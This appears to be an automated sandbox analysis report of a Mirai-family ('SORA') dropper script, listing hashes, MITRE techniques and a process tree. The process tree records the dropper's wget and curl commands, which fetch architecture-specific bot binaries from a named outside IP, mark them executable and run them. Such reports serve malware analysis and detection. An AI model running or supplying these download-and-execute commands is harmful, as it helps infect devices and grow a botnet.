mirai | f92c27bd2bb425a9d346a0ff64592dd7d76678e9d1f5cffb2cdf7c37d74885bf

Analysis

max time kernel
54s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
09/09/2026, 15:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zte.sh
Size 2KB
Sample260909-sgd6xsysgv
SHA256 f92c27bd2bb425a9d346a0ff64592dd7d76678e9d1f5cffb2cdf7c37d74885bf
MD5 1626ff5d9a7d5cf98e7b38ff91f20ad5
SHA1 b36bff26ecde7eb92b748c0a426e6a8513f0268e
SHA512 a6fb82e90fc112f9255815cc9bd9e1b4f9de6b1b8859b7a63cbaec3b7883b0733e49ab86fc6b187ef69dd9367b7f18644a8d220c45cbccf61d88b60545967aa1
TLSH
T1C35161D432124A30BFF19D9EB9F6486470C0E092E6C5AF05D9EC66FD864CF0826D86A2
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet sora defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

150.40.127.145

Extracted

Family

mirai

Botnet

SORA

150.40.127.145

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (42413) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
831	chmod
882	chmod
741	chmod
755	chmod
826	chmod
842	chmod
869	chmod
888	chmod
893	chmod
899	chmod
749	chmod
766	chmod
784	chmod
807	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	742	zte.sh
/tmp/robben	750	zte.sh
/tmp/robben	756	zte.sh
/tmp/robben	767	zte.sh
/tmp/robben	785	zte.sh
/tmp/robben	809	zte.sh
/tmp/robben	827	zte.sh
/tmp/robben	832	zte.sh
/tmp/robben	844	zte.sh
/tmp/robben	871	zte.sh
/tmp/robben	883	zte.sh
/tmp/robben	889	zte.sh
/tmp/robben	894	zte.sh
/tmp/robben	900	zte.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-5.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	5apoec3kofo53p	809	robben

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/712/exe	robben
File opened for reading	/proc/673/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/810/exe	robben
File opened for reading	/proc/834/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/669/exe	robben
File opened for reading	/proc/676/exe	robben
File opened for reading	/proc/678/exe	robben
File opened for reading	/proc/710/exe	robben
File opened for reading	/proc/814/exe	robben
File opened for reading	/proc/709/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/821/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/702/exe	robben
File opened for reading	/proc/711/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/799/exe	robben
File opened for reading	/proc/418/exe	robben
File opened for reading	/proc/679/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/803/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/717/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
747	curl
748	cat
744	wget

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/robben	zte.sh
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.sh4	curl

/tmp/zte.sh
/tmp/zte.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:712
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/cat
  cat sora.x86
  2⤵
  PID:740
- /bin/chmod
  chmod +x robben sora.x86 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:742
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod +x robben sora.mips sora.x86 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:750
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.x86_64
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:754
- /bin/chmod
  chmod +x robben sora.mips sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:756
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.i468
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat sora.i468
  2⤵
  PID:764
- /bin/chmod
  chmod +x robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:767
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.i686
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat sora.i686
  2⤵
  PID:782
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:785
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:787
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:806
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/robben
  ./robben zte.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:809
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm4
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat sora.arm4
  2⤵
  PID:825
- /bin/chmod
  chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:827
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/cat
  cat sora.arm5
  2⤵
  PID:830
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:832
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat sora.arm6
  2⤵
  PID:841
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-470534aaa33745928bf47386e2ec0004-systemd-timedated.service-UrMuTP zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:844
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/cat
  cat sora.arm7
  2⤵
  PID:867
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:871
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:873
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/cat
  cat sora.ppc
  2⤵
  PID:881
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:883
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.ppc440fp
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:887
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:889
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/cat
  cat sora.m68k
  2⤵
  PID:892
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:894
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:896
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/cat
  cat sora.sh4
  2⤵
  PID:898
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

robben

Path /tmp/robben
Size 28KB
SHA256 ecee64f2446c402df5024227ab3217e82ce4f40fd3f509a306ce731de3fa71a4
MD5 d7f19e1854be867357dd8c63f0a3e6c5
SHA1 8b99ea57428eecdae169a9f1213e6265ea5fb789
SHA512 39495ebf58ec7024fcbfefeba3d1bfd1f1b7dfd11af42e8853fcbd9450c58959d0bfe56ee6d43893bb45a6a5fd338c6e9f1e5154647482a9185cee5e02de7f96
SSDEEP 768:yxMWBhAHuLegF1aF4NscfOl8liVQJgGlzDpbuR1JR:yxdBGuLea19acfjliyVJuL
TLSH
T102D2E0B91A0A46CEDDAEC8FAC3A413A019660E126903FC4BB4ADD7475B5B5C0B107ADC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 214B
SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
MD5 65f6781c1fd861446ef37c2b9c51364c
SHA1 88d4aa4932e110c5265b1d63657746c4a113963e
SHA512 0ed4057b1653e93330fbf07902f19ad0c7957f334d754f52446812d7af8be1b5f5f228b6f375b261b5f6e3c827b97cea3eb138fdfc1b97cc22e78b57e4c31314
TLSH
T1A5D0239EE143224B412211D03EC215D1544C1366F87645E82C817449910C63DC4CA19C
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 212B
SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
MD5 83ab6cd9a67528bbc6f4f360cb7f8d83
SHA1 07e8f17209e0569aab39f062568ff0090d9b20d4
SHA512 171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
TLSH
T126D0229EE283628B812225D03EC215D2244C23A6F97645E82C82B48A920C63DC4DA69D
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 64KB
SHA256 b4ef3f63237958f38c6244a7f4619b57baa5511910356ed81977d37217406435
MD5 ea11b1f2fac8b84294d5a22b68ca8717
SHA1 d5702012ee67ebdc18fe9b07601a563330d3081e
SHA512 402fb2f20a5efbe631ac1f9d78625c72315977412057be49aba4563eacbf70ee54c2b45d835255cc71e86b6d328c13fba127580a92b2902e4f42eef77534c29a
SSDEEP 1536:PaAtVnz1/mUUNztiYmW6ihiYLTofs3wfpWIDNEJ7JC77:P/tVz1eUUfwN0T0f+whWONEJ7J2
TLSH
T1FC539EA5C1ACAE58CA1441B8B654CD358733F408A6E76EF7D646C796800BEECF1187F2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sora.x86

Path /tmp/sora.x86
Size 27KB
SHA256 bdaf3c99c0dc9f4a9b75b30f228dd64f168de46da83546f8c3b7d93bc7298bae
MD5 cd029fd1b0312ec933cf0eb0e44b946b
SHA1 33d4a702b2a120b461498de8eb0c46e78968b5b7
SHA512 b98ed2a7beea50cb2d8abff0d23e38d26f3a098376a87fa11e5d894c169a4df2ffd06f4e0ff0b3f477a4c4976532d58de653858e08c078bd0472277103484b89
SSDEEP 768:HMwoDZLFbBy6HQHRYfeAxdd8zsKkVTJpN0NG:HolcYfe6Kzy9pqw
TLSH
T186C2E1F53E777A9BEF2500383499CE329274F022D79FA613A241820921171BDBB715ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads